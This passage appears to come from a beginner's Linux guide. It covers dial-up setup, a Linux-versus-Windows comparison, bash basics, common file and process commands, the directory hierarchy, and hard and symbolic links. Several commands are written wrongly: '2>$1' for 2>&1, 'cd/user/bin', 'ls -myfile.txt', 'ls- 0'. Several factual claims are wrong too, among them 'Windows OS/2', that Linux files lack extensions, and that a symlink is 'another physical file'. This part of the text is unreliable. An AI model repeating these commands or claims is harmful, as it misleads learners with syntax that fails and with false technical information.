phone number by which your PC will connect to the modem pool of the
provider and, of course, your username and password to access the global
network.
Next, you need to configure the PPP protocol. This can be done manually, or
you can use the configuration program. Manual configuration is quite
complicated and requires editing files and writing scripts. Therefore, it is
preferable for beginners to work with a special program that automates the
entire process of setting up access to the Internet.

This program is called kppp and is originally included in the KDE graphical
environment. This utility makes it much easier to set up a connection and, in
most cases, requires you to only correctly specify accounting information.
Chapter 5 Comparison between Linux and other
Operating Systems
Even though Linux operating system can co-exist easily with other operating
systems on the same machine, but there is still the difference between it and
other operating systems such as Windows OS/2, Windows 95/98, Windows
NT, and other implementations of UNІX for the personal computer. We can
compare and contrast the Linux and the other operating system with the
following points.
Linux is a Version of UNІX
Window NT and Windows OS/2 can be said to be a multitasking operating
system just like Linux. Looking technically at them, both Windows NT and
Windows OS/2 are very similar in features like in networking, having the
same user interface, security, etc. But there is not a version of UNІX like
Linux that is a version of UNІX. So, the difference here is that Linux is a
version of UNІX, and as such, enjoys the benefits from the contributions of
the UNІX community at large.
Full use of X86 PROCESSOR
It is a known fact that Windows, such as Windows 95/96, cannot fully utilize
the functionality of the X86 processor, but Linux operating system can
entirely run in this processor’s protected mode and explore all the features
therein which also includes the multiple processors.
Linux OS is free
Other operating systems are commercial operating systems, though Windows
is a little inexpensive. Some of the cost of this other operating system is high
for most personal computer users. Some retail operating systems cost as high
as $1000 or more compared to free Linux. The Linux software is free
because, when one can access the internet or another computer, a network can
be downloaded free to be installed. Another good option is that the Linux OS
can be copied from a friend system that already has the software.
Runs complete UNІX system
Unlike another operating system, one can run an entire UNІX system with
Linux at home without incurring the high cost of other UNIX
implementations for one’s computer. Again, some tools will enable Linux to
interact with Windows, so it becomes effortless to access Windows files from
Linux.
Linux OS still does much than Windows NT
Though more advanced operating systems are always on the rise in the world
of personal computers like the Microsoft Windows NT that is trending now,
because of its server, computing can’t benefit from the contributions of the
UNІX community, unlike the Linux OS. Again, Windows NT is a proprietary
system. The interface and design are owned and controlled by one
corporation which is Microsoft, so it is only that corporation or Microsoft that
may implement the design, so there might not a free version of it for a very
long time.
Linux OS is more stable
Linux and other operating systems such as Windows NT are battling for a fair
share of the server computing market. The Windows NT only has the full
support of the Microsoft marketing machine, but the Linux operating system
has the help of a community which comprised of thousands of developers
which are aiding the advancement of Linux through the open-source model.
So, looking at this comparison, it shows that each operating system has its
weak and robust point, but Linux is more outstanding than another operating
system because other operating systems can crash easily and very often
especially the Windows NT, while Linux machines are more stable and can
run continuously for an extended period.
Linux as better networking performance than others
Linux OS can be said to be notably better when it comes to networking
performance, though Linux might also be smaller than Windows NT. It has a
better price-performance ratio and can compete favorably with another
operating system because of its effective open-source development process.
Linux works better with other implementations of UNІX
Unlike the other operating system which can’t work with other
implementations of UNІX, this is not the same with Linux OS. UNІX
features and other implementations of UNІX for the personal computer are
similar to that of the Linux operating system. Linux is made to supports an
extensive range of hardware and other UNІX implementations because there
is more demand with Linux to support almost all kinds of graphics, a brand of
sound, board, SCSІ, etc. under the open-source model.
Booting and file naming
With Linux OS, there’s no limitation with booting. It can be booted right
from a logical partition or primary partition but with another operating
system like the Windows, there is the restriction of booting. It can only be
booted from the primary partition. Linux operating system file names are case
sensitive, but with others, like the Windows, it is case insensitive.
Linux operating system is customizable
Unlike another operating system, mostly with Windows, the Linux operating
system can be personalized. This is to say one or a user can modify the code
to suit any need, but it is not the same as others. One can even change Linux
OS's feel and looks.
Separating the directories
With Linux, OS directories are separated by using forward slash, but the
separation of Windows is done using a backslash. And again, Linux OS uses
the monolithic kernel which naturally takes more running space, unlike
another operating system that uses mіcrokеrnеl, which consumes lesser space
but, at the same time, its efficiency is a lot lower than when Linux is in use.
Chapter 6 Linux Command Lines
At this juncture, you should have a fair understanding of basic commands,
and Linux should be installed in your system. You now have an incredible
opportunity ahead of you – a completely blank slate where you can begin to
design an operating system. With Linux, you can easily customize your
operating system so that is does exactly what you would like for it to do. To
get started, you need to install a selection of reliable and functional
applications.
For ease of explanation, it is assumed that you are using Ubuntu. When you
are looking to install an application in Linux, the process is quite different
than what you would encounter in Windows. With Windows, you normally
need to download an installation package sourced at a website, and then you
can install the application.
With Linux, this process is not necessary as most of the applications are
stored in the distribution’s repositories. To find these applications, follow
these steps.
Go to System -> Administration -> Synaptic Package Manager
When you get to this point, you need to search for the package that you
require. In this example, the package shall be called comp. Next, you should
install the package using a command line as follows: -
sudo apt-get install comp
Linux also has another advantage over some popular operating systems. This
include the ability to install more than one package at a time, without having
to complete a process or more between windows. It all comes down to what
information is entered in the command lines. An example of this is as
follows: -
sudo apt-get install comp beta-browser
There are even more advantages (other than convenience) to being able to
install multiple packages. In Linux, these advantages include updating.
Rather than updating each application, one at a time, Linux allows for all the
applications to be updated simultaneously through the update manager.
The Linux repository is diverse, and a proper search through it will help you
to identify a large variety of apps that you will find useful. Should there be an
application that you need which is not available in the repository, Linux will
give you instructions on how you can add separate repositories.
The Command Line
Using Linux allows you to customize your system to fit your needs. For those
who are not tech savvy, the distributions settings are a good place to change
things until you get what you want. However, you could spend hours fiddling
with the available settings and still fail to find setting that is perfect for you.
Luckily, Linux has a solution and that comes in the form of the command
line. Even though the command line sounds complex, like something that can
only be understood by a tech genius, it is quite simple to discern.
The beauty of adjusting things in your operating system using the command
line, so that the sky is the limit and creativity can abound.
To begin, you need to use “The Shell”. This is basically a program which can
take in commands from your keyboard and ensure that the operating systems
performs these commands. You will also need to start a “Terminal”. A
terminal is also a program and it allows you to interact with the shell.
To be a terminal, you should select the terminal option from the menu. In this
way, you can gain access to a shell session. In this way you can begin
practicing your command prompts.
In your shell session, you should see a shell prompt. Within this shell prompt
you will be see your username and the name of the machine that you are
using, followed by a dollar sign. It will appear as follows: -
[name@mylinux me] $
If you try to type something under this shell prompt, you will see a message
from bash. For example,
[name@mylinux me] $
lmnopqrst
bash: lmnopqrst
command not found
This is an error message where the system lets you know that it is unable to
comprehend the information you put in. If you press the up-arrow key, you
will find that you can go back to your previous command, the lmnopqrst one.
If you press the down arrow key, you will find yourself on a blank line.
This is important to note because you can then see how you end up with a
command history. A command history will make it easier for you to retrace
your steps and make corrections as you learn how to use the command
prompt.
Command Lines for System Information
The most basic and perhaps most useful command lines are those that will
help you with system information. To start, you can try the following: -
Command for Date
This is a command that will help you to display the date.
root@compsis: -# date
Thursday May 21 12.31.29 IST 2o15
Command for Calendar
This command will help display the calendar of the current month, or any
other month that may be coming up.
root@compsis: -# cal
Command for uname
This command is for Unix Name, and it will provide detailed information
about the name of the machine, its operating system and the Kernel.
Navigating Linux Using Command Lines
You can use the command lines in the same way that you would use a mouse,
to easily navigate through your Linux operating system so that you can
complete the tasks you require. In this section, you will be introduced to the
most commonly used commands.
Finding files in Linux is simple, as just as they are arranged in order in
familiar Windows programmes, they also follow a hierarchical directory
structure. This structure resembles what you would find with a list of folders
and is referred to as directories.
The primary directory within a file system is referred to as a root directory. In
it, you will be able to source files, and subdirectories which could contain
additional sorted files. All files are stored under a single tree, even if there are
several storage devices.
pwd
pwd stands for print working directory. These will help you to choose a
directory where you can store all your files. Command lines do not give any
graphical representation of a filing structure. However, when using a
command line interface, you can view all the files within a parent directory,
and all the pathways that may exist in a subdirectory.
This is where the pwd comes in. Anytime that you are simply standing in a
directory, you are in a working directory. The moment you log onto your
Linux operating system, you will arrive in your home directory (which will
be your working directory while you are in it). In this directory, you can find
all your files. To identify the name of the directory that you are in, you
should use the following pwd command.
[name@mylinux me] $pwd
/home/me
You can then begin exploring within the directory by using the ls command.
ls stands for list files in the directory. Therefore, to view all the files that are
in your working directory, type in the following command and you will see
results as illustrated below.
[name@mylinux me] $ls
Desktop bin linuxcmd
GNUstep ndeit.rpm nsmail
cd
cd stands for change directory. This is the command that you need to use
when you want to switch from your working directory and view other files.
To use this command, yu need to know the pathname for the working
directory that you want to view. There are two different types of pathnames
for you to discern. There is the absolute pathname and the relative pathname.
The absolute pathname is one that starts at your root directory, and by
following a file path, it will easily lead you to your desired directory.
Suppose your absolute pathname for a directory is /usr/bin. The directory is
known as usr and there is another directory within it using the name bin. If
you want to use the cd command to access your absolute pathname, you
should type in the following command: -
[name@mylinux me] $cd/user/bin
[name@mylinux me] $pwd
/usr/bin [name@mylinux me] $ls
When you enter this information, you would have succeeded in changing
your working directory to /usr/bin.
You can use a relative pathname when you want to change the new working
directory which is /usr/bin to the parent directory, which would be /usr. To
execute this, you should type in the following prompt: -
[name@mylinux me] $cd ..
[name@mylinux me] $pwd
/usr
Using a relative pathway cuts down on the amount of typing that you must do
when using command lines, therefore, it is recommended that you learn as
many of these as possible.
When you want to access a file using Linux command prompts, you should
take note that they are case sensitive. Unlike other files which you would find
on Windows Operating Systems and programs, the files in Linux do not have
file extensions. This is great because it gives you the flexibility of labeling
the files anything that you like. One thing you need to be careful of are the
application programs that you use. There are some that may automatically
create extensions on files, and it is these that you need to be careful and
watch out for.
Chapter 7 Introduction to Linux Shell

Effective Linux professional is unthinkable without using the command line.


The command line is a shell prompt that indicates the system is ready to
accept a user command. This can be called a user dialogue with the system.
For each command entered, the user receives a response from the system:
1. another invitation, indicating that the command is executed and you can
enter the next.
2. error message, which is a statement of the system about events in it,
addressed to the user.
Users who are accustomed to working in systems with a graphical interface,
working with the command line may seem inconvenient. However, in Linux,
this type of interface has always been basic, and therefore well developed. In
the command shells used in Linux, there are plenty of ways to save effort,
that is, keystrokes when performing the most common actions:

automatic addition of long command names or file names


searching and re-executing a command that was once
performed before
substitution of file name lists by some pattern, and much more
The advantages of the command line are especially obvious when you need
to perform similar operations on a variety of objects. In a system with a
graphical interface, you need as many mice dragging as there are objects, one
command will be enough on the command line.
This section will describe the main tools that allow you to solve any user
tasks using the command line: from trivial operations with files and
directories, for example, copying, renaming, searching, to complex tasks
requiring massive similar operations that occur as in the user's application
work, when working with large data arrays or text, and in system
administration.

Shells

A command shell or command interpreter is a program whose task is to


transfer your commands to the operating system and application programs,
and their answers to you. According to its tasks, it corresponds to
command.com in MS-DOS or cmd.exe in Windows, but functionally the
shell in Linux is incomparably richer. In the command shell language, you
can write small programs to perform a series of sequential operations with
files and the data they contain — scripts.
Having registered in the system by entering a username and password, you
will see a command line prompt – a line ending in $. Later this symbol will
be used to denote the command line. If during the installation a graphical user
interface was configured to start at system boot, then you can get to the
command line on any virtual text console. You need to press Ctrl-Alt-F1 -
Ctrl-Alt-F6 or using any terminal emulation program, for example, xterm.
The following shells are available. They may differ depending on the
distributor:
bash
The most common shell for Linux. It can complement the names of
commands and files, keeps a history of commands and provides the ability to
edit them.
pdkdh
The korn shell clone, well known on UNIX shell systems.
sash
The peculiarity of this shell is that it does not depend on any shared libraries
and includes simplified implementations of some of the most important
utilities, such as al, dd, and gzip. Therefore, the sash is especially useful
when recovering from system crashes or when upgrading the version of the
most important shared libraries.
tcsh
Improved version of C shell.
zsh
The newest of the shells listed here. It implements advanced features for
autocompletion of command arguments and many other functions that make
working with the shell even more convenient and efficient. However, note
that all zsh extensions are disabled by default, so before you start using this
command shell, you need to read its documentation and enable the features
that you need.
The default shell is bash Bourne Again Shell. To check which shell you're
using, type the command: echo $ SHELL.
Shells differ from each other, not only in capabilities but also in command
syntax. If you are a novice user, we recommend that you use bash, further
examples describe the work in this particular area.
Bash shell
The command line in bash is composed of the name of the command,
followed by keys (options), instructions that modify the behavior of the
command. Keys begin with the character – or –, and often consist of a single
letter. In addition to keys, after the command, arguments (parameters) can
follow – the names of the objects on which the command must be executed
(often the names of files and directories).
Entering a command is completed by pressing the Enter key, after which the
command is transferred to the shell for execution. As a result of the command
execution on the user’s terminal, there may appear messages about the
command execution or errors, and the appearance of the next command line
prompt (ending with the $ character) indicates that the command has
completed and you can enter the next one.
There are several techniques in bash that make it easier to type and edit the
command line. For example, using the keyboard, you can:
Ctrl-A
go to the beginning of the line. The same can be done by pressing the Home
key;
Ctrl-u
delete current line;
Ctrl-C
Abort the execution of the current command.
You can use the symbol; in order to enter several commands in one line. bash
records the history of all commands executed, so it’s easy to repeat or edit
one of the previous commands. To do this, simply select the desired
command from the history: the up key displays the previous command, the
down one and the next one. In order to find a specific command among those
already executed, without flipping through the whole story, type Ctrl-R and
enter some keyword used in the command you are looking for.

Commands that appear in history are numbered. To run a specific


command, type:

! command number
If you enter !!, the last command typed starts.
Sometimes on Linux, the names of programs and commands are too long.
Fortunately, bash itself can complete the names. By pressing the Tab key,
you can complete the name of a command, program, or directory. For
example, suppose you want to use the bunzip2 decompression program. To
do this, type:
bu
Then press Tab. If nothing happens, then there are several possible options
for completing the command. Pressing the Tab key again will give you a list
of names starting with bu. For example, the system has buildhash, builtin,
bunzip2 programs:
$ bu
buildhash builtin bunzip2
$ bu
Type n> (bunzip is the only name whose third letter is n), and then press Tab.
The shell will complete the name and it remains only to press Enter to run the
command!
Note that the program invoked from the command line is searched by bash in
directories defined in the PATH system variable. By default, this directory
listing does not include the current directory, indicated by ./ (dot slash).
Therefore, to run the prog program from the current directory, you must issue
the command ./prog.

Basic commands

The first tasks that have to be solved in any system are: working with data
(usually stored in files) and managing programs (processes) running on the
system. Below are the commands that allow you to perform the most
important operations on working with files and processes. Only the first of
these, cd, is part of the actual shell, the rest are distributed separately, but are
always available on any Linux system. All the commands below can be run
both in the text console and in graphical mode (xterm, KDE console). For
more information on each command, use the man command, for example:
man ls
cd
Allows you to change the current directory (navigate through the file system).
It works with both absolute and relative paths. Suppose you are in your home
directory and want to go to its tmp / subdirectory. To do this, enter the
relative path:
cd tmp /
To change to the / usr / bin directory, type (absolute path):
cd / usr / bin /
Some options for using the command are:
cd ..
Allows you to make the current parent directory (note the space between cd
and ..).
cd -
Allows you to return to the previous directory. The cd command with no
parameters returns the shell to the home directory.
ls
ls (list) lists the files in the current directory. Two main options: -a - view all
files, including hidden, -l - display more detailed information.
rm
This command is used to delete files. Warning: deleting the file, you cannot
restore it! Syntax: rm filename.
This program has several parameters. The most frequently used ones are: -i -
file deletion request, -r - recursive deletion (i.e. deletion, including
subdirectories and hidden files). Example:
rm -i ~ / html / *. html
Removes all .html files in your html directory.
mkdir, rmdir
The mkdir command allows you to create a directory, while rmdir deletes a
directory, provided it is empty. Syntax:
mkdir dir_name
rmdir dir_name
The rmdir command is often replaced by the rm -rf command, which allows
you to delete directories, even if they are not empty.
less
less allows you to page by page. Syntax:
less filename
It is useful to review a file before editing it; The main use of this command is
the final link in a chain of programs that outputs a significant amount of text
that does not fit on one screen and otherwise flashes too quickly. To exit less,
press q (quit).

grep
This command allows you to find a string of characters in the file. Please note
that grep searches by a regular expression, that is, it provides the ability to
specify a template for searching a whole class of words at once. In the
language of regular expressions, it is possible to make patterns describing, for
example, the following classes of strings: “four digits in a row, surrounded by
spaces”. Obviously, such an expression can be used to search in the text of all
the years written in numbers. The search capabilities for regular expressions
are very wide. For more information, you can refer to the on-screen
documentation on grep (man grep). Syntax:
grep search_file

ps

Displays a list of current processes. The command column indicates the


process name, the PID (process identifier) is the process number (used for
operations with the process — for example, sending signals with the kill
command). Syntax:
ps arguments
Argument u gives you more information, ax allows you to view those
processes that do not belong to you.
kill
If the program stops responding or hangs, use this command to complete it.
Syntax:
kill PID_number
The PID_number here is the process identification number, You can find out
the process number for each executable program using the ps command.
Normally, the kill command sends a normal completion signal to the process,
but sometimes it does not work, and you will need to use kill -9 PID_number.
In this case, the command will be immediately terminated by the system
without the possibility of saving data (abnormal). The list of signals that the
kill command can send to a process can be obtained by issuing the command
kill -l.
File and Directory Operations

Here we consider utilities that work with file system objects: files,
directories, devices, as well as file systems in general.
cp
Copies files and directories.
mv
Moves (renames) files.
rm
Removes files and directories.
df
Displays a report on the use of disk space (free space on all disks).
du
Calculates disk space occupied by files or directories.
ln
Creates links to files.
ls
Lists files in a directory, supports several different output formats.
mkdir
Creates directories.
touch
Changes file timestamps (last modified, last accessed), can be used to create
empty files.
realpath
Calculates absolute file name by relative.
basename
Removes the path from the full file name (i.e., shortens the absolute file name
to relative).
dirname
Removes the file name from the full file name (that is, it displays the full
name of the directory where the file is located).
pwd
Displays the name of the current directory.

Filters

Filters are programs that read data from standard input, convert it and output
it to standard output. Using filtering software allows you to organize a
pipeline: to perform several sequential operations on data in a single
command. More information about standard I / O redirection and the pipeline
can be found in the documentation for bash or another command shell. Many
of the commands listed in this section can work with files.
cat
combines files and displays them to standard output;
tac
combines files and displays them on standard output, starting from the end;
sort
sorts rows;
uniq
removes duplicate lines from sorted files;
tr
performs the replacement of certain characters in the standard input for other
specific characters in the standard output, can be used for transliteration,
deletion of extra characters and for more complex substitutions;
cut
systematized data in text format can be processed using the cut utility, which
displays the specified part of each line of the file; cut allows you to display
only the specified fields (data from some columns of the table in which the
contents of the cells are separated by a standard character — a tabulation
character or any other), as well as characters standing in a certain place in a
line;
paste
combines data from several files into one table, in which the data from each
source file make up a separate column;
csplit
divides the file into parts according to the template;
expand
converts tabs to spaces;
unexpand
converts spaces to tabs;
fmt
formats the text in width;
fold
transfers too long text lines to the next line;
nl
numbers file lines;
od
displays the file in octal, hexadecimal and other similar forms;
tee
duplicates the standard output of the program in a file on disk;

Other commands

head
displays the initial part of the file of the specified size;
tail
outputs the final part of a file of a given size, since it can output data as it is
added to the end of the file, used to track log files, etc.;
echo
displays the text of the argument on the standard output;
false
does nothing, comes out with a return code of 1 (error), can be used in shell
scripts if an unsuccessful command is being attempted;
true
does nothing, comes out with a return code of 0 (successful completion), can
be used in scripts if a successful command is required;
yes
infinitely prints the same line (by default, yes) until it is interrupted.
seq
displays a series of numbers in a given range of successively increasing or
decreasing by a specified amount;
sleep
suspends execution for a specified number of seconds;
usleep
suspends execution for a specified number of milliseconds;
comm
compares 2 pre-sorted (by the sort command) files line by line, displays a
table of three columns, where in the first are lines unique to the first file, in
the second are unique to the second, in the third they are common to both
files;
join
combines lines of two files on a common field;
paste
For each pair of input lines with the same common fields, print the line to
standard output. By default, the general field is considered first, the fields are
separated by whitespace.
split
splits the file into pieces of a given size.
Calculations
In addition to simple operations with strings (input/output and merging), it is
often necessary to perform some calculations on the available data. Listed
below are utilities that perform calculations on numbers, dates, strings.
test
returns true or false depending on the value of the arguments; The test
command is useful in scripts to check conditions;
date
displays and sets the system date, in addition, it can be used for calculations
over dates;
expr
evaluates expressions;
md5sum
calculates checksum using MD5 algorithm;
sha1sum
calculates checksum using SHA1 algorithm;
wc
counts the number of lines, words, and characters in the file;
factor
decomposes numbers into prime factors;

Search

The search for information in the file system can be divided into a search by
file attributes (understanding them extensively, that is, including the name,
path, etc.) and content search. For these types of search, the programs find
and grep are usually used, respectively. Thanks to convenient interprocess
communication tools, these two types of search are easy to combine, that is,
to search for the necessary information only in files with the necessary
attributes.

Attribute search
The main search tool for file attributes is the find program. A generalized call
to find looks like this: find path expression, where path is a list of directories
in which to search, and expression is a set of expressions that describe the
criteria for selecting files and the actions to be performed on the files found.
By default, the names of found files are simply output to standard output, but
this can be overridden and the list of names of found files can be transferred
to any command for processing. By default, find searches in all subdirectories
of directories specified in the path list.

Expressions

Expressions that define file search criteria consist of key-value pairs. Some of
the possible search options are listed below:
-amin, -anewer, -atime
The time of the last access to the file. Allows you to search for files that were
opened for a certain period of time, or vice versa, for files that nobody has
accessed for a certain period.
-cmin, -cnewer, -ctime
The time the file was last changed.
-fstype
The type of file system on which the file is located.
-gid, -group
User and group that owns the file.
-name, -iname
Match the file name to the specified pattern.
-regex, -iregex
Match the file name to a regular expression.
-path, -ipath
Match the full file name (with the path) to the specified pattern.
-perm
Access rights.
-size
File size.
-type
File type.
Actions
The find program can perform various actions on the found files. The most
important of them are:
-print
Output the file name to the standard output (the default action);
-delete
delete a file;
-exec
execute the command by passing the file name as a parameter.
You can read about the rest in the on-screen documentation for the find
command, by issuing the man find command.

Options

Parameters affect the overall behavior of find. The most important of them
are:
-maxdepth
maximum search depth in subdirectories;
-mindepth
minimum search depth in subdirectories;
-xdef
Search only within the same file system.
You can read about the rest in the on-screen documentation for the find
command.
Terminals

The terminal in Linux is a program that provides the user with the ability to
communicate with the system using the command line interface. Terminals
allow you to transfer to the system and receive only text data from it. The
standard terminal for the Linux system can be obtained on any textual virtual
console, and in order to access the command line from the graphical shell,
special programs are needed: terminal emulators. Listed below are some of
the terminal emulators and similar programs included in the ALT Linux 2.4
Master distribution.
xterm
Programs: resize, uxterm, xterm.
Standard terminal emulator for the X Window System. This emulator is
compatible with DEC VT102 / VT220 and Tektronix 4014 terminals and is
designed for programs that do not use the graphical environment directly. If
the operating system supports changing the terminal window (for example, a
SIGWINCH signal on systems that have gone from 4.3bsd), xterm can be
used to inform programs running on it that the window size has changed.
aterm
Aterm is a color emulator of the terminal rxvt version 2.4.8, supplemented
with NeXT-style scroll bars by Alfredo Kojima. It is intended to replace the
xterm if you do not need a Tektronix 4014 terminal emulation.
console-tools
Programs: charset, chvt, codepage, consolechars, convkeys, deallocvt,
dumpkeys, fgconsole, "" setkeycodes, setleds, setmetamode, setvesablank,
showcfont, showkey, splitfont, unicode_stop, vcstime, vt-is-UTF8, writevt.
This package contains tools for loading console fonts and keyboard layouts.
It also includes a variety of fonts and layouts.
In case it is installed, its tools are used during boot / login to establish the
system / personal configuration of the console.
screen
The screen utility allows you to execute console programs when you cannot
control their execution all the time (for example, if you are limited to session
access to a remote machine).
For example, you can perform multiple interactive tasks on a single physical
terminal (remote access session) by switching between virtual terminals using
a screen installed on a remote machine. Or this program can be used to run
programs that do not require direct connection to the physical terminal.
Install the screen package if you may need virtual terminals.
vlock
The vlock program allows you to block input when working in the console.
Vlock can block the current terminal (local or remote) or the entire system of
virtual consoles, which allows you to completely block access to all consoles.
Unlocking occurs only after successful authorization of the user who initiated
the console lock.
Chapter 8 Basic Linux Shell Commands
Introduction
We are not going to look at some useful commands for file handling and
similar uses. Before going into more details, let’s look at the Linux file
structure.
Linux stores files in a structure known as the virtual directory structure.
This is a single directory structure. It incorporates all the storage devices
into a single tree. Each storage device is considered as a file. If you
examine the path of a file, you do not see the disk information. For
instance, the path to my desktop is, /home/jan/Desktop. This does not
display any disk information in its path. By this way, you do not need to
know the underlying architecture.
If you are to add another disk to the existing, you simply use mount point
directories to do so. Everything is connected to the root.
These files naming is based on the FHS (Filesystem Hierarchy Standard).
Let’s look at the common files once more. We already went through the
directory types during the installation.
Table: Linux directory types
Directory Purpose
/ This is the root home directory. The upper-most level.
/bin This is the binary store. GNU utilities (user-level) exist in this
directory.
/boot This is where the system stores the boot directory and files
used during the boot process.
/dev Device directory and nodes.
/etc This is where the system stores the configuration files.
/home Home of user directories.
/lib System and application libraries.
/media This is where media is mounted, media such as CDs, USB
drives.
/mnt Where the removable media is mounted to.
/opt Optional software packages are stored here.
/proc Process information – not open for users.
/root Home directory of root.
/run Runtime data is stored here.
/sbin System binary store. Administrative utilities are stored here.
/srv Local services store their files here.
/sys System hardware information is stored here.
/tmp This is the place for temporary files.
/usr This is where the user-installed software are stored.
/var Variable director where the dynamic files such as logs are
stored.

Directory and File Navigation


To view a list of directories in the present directory, in Windows you use the
dir command. This command works the same way on Linux.
To navigate to files, the most basic method is to use the full path to the file
such as /home/jan/Desktop/. There are basic commands to do this with easier.

1. Know your present working directory with pwd command.

Change the directory location using the cd command. Here we use the
absolute path.

2. Get back to the home directory using the cd command only.


Now we will use the relative path to make things easier and less time-
consuming. In this case, we can use the ‘/’.

Here, the dir command lists directories under my current folder. I could
jump to desktop folder using the command cd Desktop.
There are 2 special characters when it comes to directory traversal. Those are
‘.’ And ‘..’. Single dot represents the current directory. Double dots represent
the upper folder.

5. To go back to one level up, use the ‘..’ for instance

6. You can also use ‘..’ to skip typing folder paths. For instance,
7. You can go back one level and go forward. Here, you go up to
the home folder and then go forward (down) to the Music
folder.

8. You can do the ‘../’ in a chain to go to a folder in an upper


level, back and forth using absolute path (mixing relative and
absolute paths).

Listing Files
We use ls command to list files. This is one of the most popular
commands among Linux users. Below is a list of ls commands and their
use.
ls- a List all files including all the
hidden files starting with ‘.’
ls --color Colored list [=always/never/auto]
ls -d List the directories with ‘*/’
ls -F Append indicator to entries (such as
one of */=>@|)
ls -i Lists the inode index
ls -l List with long format including
permissions
ls- la Same as above with hidden files
ls -lh The long list with human readable
format
ls -ls The long list with file size
ls -r Long list in reverse
ls -R List recursively (the directory tree)
ls -s List file size
ls -S List by size
ls -t Sort by date/time
ls -X Sort by extension name

Let’s examine a few commands. Remember, you can use more than one
argument. E.g., ls -la
Syntax: ls [option ...] [file]...
Detailed syntax:
ls [-a | --all] [-A | --almost-all] [--author] [-b | --escape]
[--block-size=size] [-B | --ignore-backups] [-c] [-C] [--color[=when]]
[-d | --directory] [-D | --dired] [-f] [-F | --classify] [--file-type]
[--format=word] [--full-time] [-g] [--group-directories-first]
[-G | --no-group] [-h | --human-readable] [--si]
[-H | --dereference-command-line] [--dereference-command-line-symlink-
to-dir] [--hide=pattern] [--indicator-style=word] [-i | --inode]
[-I | --ignore=pattern] [-k | --kibibytes] [-l] [-L | --dereference]
[-m] [-n | --numeric-uid-gid] [-N | --literal] [-o]
[-p | --indicator-style=slash] [-q | --hide-control-chars]
[--show-control-chars] [-Q | --quote-name] [--quoting-style=word]
[-r | --reverse] [-R | --recursive] [-s | --size] [-S] [--sort=word]
[--time=word] [--time-style=style] [-t] [-T | --tabsize=cols]
[-u] [-U] [-v] [-w | --width=cols] [-x] [-X] [-Z | --context] [-1]
Example: ls -l setup.py

This gives long list style details for this specific file.
More examples
List content of your home directory: ls
Lists content of your parent directory: ls */
Displays directories of the current directory: ls -d */
Lists the content of root: ls /
Lists the files with the following extensions: ls *.{htm,sh,py}
Lists the details of a file. If not found suppress the errors: ls -myfile.txt
2>/dev/null
A word on /dev/null
/dev/null is an important location. This is actually a special file called the
null device. There are other names, such as blackhole or bit-bucket.
When something is written to this file, it immediately discards it and
returns and end-of-file (EOF).
When a process or a command returns an error STDERR or the standard error
is the default file descriptor a process can write into. These errors will be
displayed on screen. If someone wants to suppress it, that is where the null
device becomes handy.
We often write this command line as /dev/null 2>&1. For instance,
ls- 0 > /dev/null 2>$1
What does it mean by 2 and $1. The file descriptors for Standard Input (stdin)
is 0. For Standard Output (stdout), it is 1. For Standard Error (stderr) it is 2.
Here, we are suppressing the error generated by the ls command. It is
redirected to stdout and then writing it to the /dev/null thus discarding it
immediately.

ls Color Codes

ls color codes
These color codes distinguish the file types quite well
Let’s run ls -lasSt

This uses a long list format, displays all files, sorts by time. Now, you need to
understand what these values are.
1. 4: File size (sorted by size).
2. In the next section d is for directory.
3. The next few characters represent permissions (r-read, w-write,
x-execute).
4. Number of hard links.
5. File owner.
6. File owner’s group.
7. Byte size.
8. Last modified time (sort by).
9. File/Directory name.
If you use -i in the command (S is removed, sorted by last modified time).
You see the nodes in the left most area.

Example: ls -laxo

Using ls for Pattern Matching


The ls command can be used in conjunction with wildcards such as ‘*’ and
‘?’ Here the ‘*’ represents multiple characters and ‘?’ represents a single
character.
In this example, we have the following folder with the following directories
and files.
We are trying to find a file with the name vm* (vm and any characters to the
right). And then we will try to match the INSTALL name of the file. In the
first attempt it fails as there 4 ‘?’s. The next one succeeds.

We will now use the or logic to match a pattern.

Image: Folders in my directory


Let’s see if we can only list the directories with the characters a and i in
the middle.

Another example using pipes:


ls -la | less
Handling Files
In this section, we will create, modify, copy, move and delete files. You will
also learn how to read files and do other tasks.
Creating a File
To create files and to do some more tasks we use the command touch.
touch test.txt

Syntax: touch [OPTION]... FILE...


Detailed syntax: touch [[-a] [-m] | [--time=timetype] [...]] [[-d
datestring] | [-t timestamp]] [-c] [-f] [-h] [-r reffile] file [file ...]
This command can also be used to change the file access time of a file.

To change only the last access time, use -a.


Example: touch -a test1.txt

Here, to view the output you use –time parameter in the ls command. With
only the ls -l it does not display the last access time but the last modified
time.
Copying Files
To copy files, use the cp command.
Syntax: cp [option]... [-T] source destination
Example: cp test1.txt test2.txt

Copy command can be dangerous as it does not ask if test2.txt exists. It


leads to a data loss. Therefore, always use -i option.

You can answer with y or n to accept or deny.


Copying a file to another directory: cp test1.txt /home/jan/Documents

Using relative path instead the absolute path.


Now I am at the following directory: /home/jan/Desktop. I want to copy a file
to /home/jan/Documents
Command: cp test1.txt ../Documents

Copy a file to the present working directory using the relative path. Here we
will use ‘.’ to denote the pwd.
Recursively copy files and folders
Example: cp -R copies the folder snapt with files to snipt.

Let’s copy a set of files recursively from one directory to its sub directory.
Command: cp -R ./Y/snapt/test* ./Y/snopt

This is my desktop. I have these files in the Y directory on Desktop. I want to


copy test1.txt and test2.txt from Y to snopt directory. After executing the
command,

How to use wildcards? We already used it in this example, haven’t we?

Linking Files with Hard and Symbolic Links


Another feature of the Linux file system is the ability to link files. Without
maintaining original copies of files everywhere, you can link files to keep
virtual copies of the same file. You can think of a link as a placeholder. There
are 2 types of links,
- Symbolic links
- Hard links
A symbolic link is another physical file. It is not a shortcut. This file is linked
to another file in the file system. Unlike a shortcut, the symlink gets instant
access to the data object.
Syntax: ln -s [OPTIONS] FILE LINK
Example: ln -s ./Y/test1.txt testn.txt

If you check the inode you will see these are different files. The size can tell
the same difference.
- 279185 test1.txt
- 1201056 testn.txt
When you create symlinks, the destination file should not be there (especially
directory with the destination symlink name should not be there). However,
you can force the command to create or replace the file.

The ln command is also valid for directories.

If you wish to overwrite symlinks, you have to use the -f as stated above.
Or else, if you want to replace the symlink from a file to another, use -n.
Example: I have 2 directories dir1 and dir2 on my desktop. I create a
symlink - dir1 to sym. Then I want to link sym to dir 2 instead. If I use -s
and -f together (-sf) it does not work. The option to us here is -n.
Unlinking
To remove the symlinks you can use the following commands.
- Syntax: unlink linkname
- Syntax: rm linkname
Creating Hard Links
Now we will look at creating hard links. Hard link creates a separate virtual
file. This file includes information about the original file and its location.
Example: ln test1.txt hard_link
Here we do not see any symbolic representations. That means the file is an
actual physical file. And if you look at the inode, you will see both files
having the same inode number.

